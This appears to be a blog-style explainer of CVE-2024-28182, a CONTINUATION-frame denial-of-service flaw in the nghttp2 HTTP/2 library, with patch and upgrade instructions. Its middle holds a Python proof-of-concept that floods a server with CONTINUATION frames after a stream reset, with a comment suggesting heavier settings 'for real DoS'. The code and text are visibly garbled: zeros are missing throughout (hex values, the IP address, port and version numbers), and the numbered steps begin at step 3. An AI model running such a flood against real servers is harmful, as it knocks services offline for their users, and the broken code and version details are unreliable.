CVE-2024-28182 - How a Simple Flaw in nghttp2 Can Crash CPU with HTTP/2 CONTINUATION Frames
The world runs on protocols, and nghttp2 is a core library powering HTTP/2 communications in countless servers and applications. In early 2024, a vulnerability—CVE-2024-28182—was discovered in nghttp2 that could let attackers exploit poorly-managed CONTINUATION frames and exhaust server resources. This article breaks down the bug, shows how it can be exploited, and explains what you need to do to stay safe.
What is nghttp2?
nghttp2 is an open-source C library implementing HTTP/2, which is the major protocol upgrade that improved the speed and reliability of the web. It is used in web servers (like NGINX), proxies, and even browsers.
Technical Details
When decoding HTTP/2 headers, nghttp2 uses a mechanism called HPACK. This involves reading HEADERS and CONTINUATION frames. If a stream is reset (RST_STREAM), nghttp2 should stop reading CONTINUATION frames for that stream. However, in vulnerable versions, nghttp2 keeps reading unlimited CONTINUATION frames even after a stream is reset, trying to keep the HPACK state in sync.
An attacker can send a flood of small CONTINUATION frames after a reset, leading to massive CPU usage as nghttp2 tries to decode the never-ending header block.
Code Snippet: Abusing the CONTINUATION Flood
Here’s a basic, educational Python example using socket to simulate a malicious client repeatedly sending CONTINUATION frames:
import socket
import struct
import time
# Prepare HTTP/2 connection preface
preface = b'PRI * HTTP/2.\r\n\r\nSM\r\n\r\n'
# HTTP/2 frame format: length (3 bytes), type (1), flags (1), stream id (4)
def make_continuation_frame(stream_id, end_headers=False):
frame_length = 5 # arbitrary small payload
frame_type = 9 # CONTINUATION
flags = x4 if end_headers else x # END_HEADERS
frame_header = struct.pack('!3sBBI', frame_length.to_bytes(3, 'big'), frame_type, flags, stream_id & x7FFFFFFF)
payload = b'A' * frame_length
return frame_header + payload
def make_rst_stream_frame(stream_id):
frame_header = struct.pack('!3sBBI', (4).to_bytes(3, 'big'), 3, , stream_id & x7FFFFFFF)
payload = b'\\\\'
return frame_header + payload
with socket.create_connection(('127...1', 808)) as s:
s.sendall(preface)
stream_id = 1
# Setup HTTP/2 HEADERS [not real headers, for demonstration]
s.sendall(b'\x00\x00\x00\x01\x04\x00\x00\x00\x01' + b'headers') # fake HEADERS
s.sendall(make_rst_stream_frame(stream_id))
# Now flood unlimited CONTINUATION frames on reset stream
for _ in range(10000):
s.sendall(make_continuation_frame(stream_id))
time.sleep(.01) # Throttle to keep server alive (increase for real DoS)
Warning: Only use this code for educational purposes on your own systems!
Immediately send a RST_STREAM to indicate the stream is finished.
3. Continue to send a flood of CONTINUATION frames—these SHOULD be ignored, but the vulnerable nghttp2 keeps processing them, burning up CPU cycles trying to decode headers that never end.
Because there's no limit, the server can get bogged down and become unresponsive.
Patch & Fix
The maintainers released nghttp2 v1.61. on March 30, 2024, fixing this flaw by limiting the number of CONTINUATION frames per stream.
There is NO workaround. The only solution is to update nghttp2 to 1.61. or above.
If you use a Linux distribution
# For Ubuntu/Debian (if update is available)
sudo apt update
sudo apt install libnghttp2-dev
# For RedHat/CentOS
sudo yum update libnghttp2
Or install from source
git clone https://github.com/nghttp2/nghttp2.git
cd nghttp2
git checkout v1.61.
autoreconf -i
./configure
make
sudo make install
References
- CVE-2024-28182 on GitHub Advisory Database
- nghttp2 v1.61. Release Notes
- NVD Record
- Official nghttp2 Repository
Conclusion
CVE-2024-28182 is a classic example of how a simple logic error can lead to a massive denial of service risk. If your servers, proxies, or applications depend on nghttp2, patch now. There's no workaround; only upgrading fully protects you.
Timeline
Published on: 04/04/2024 15:15:38 UTC
Last modified on: 05/01/2024 18:15:17 UTC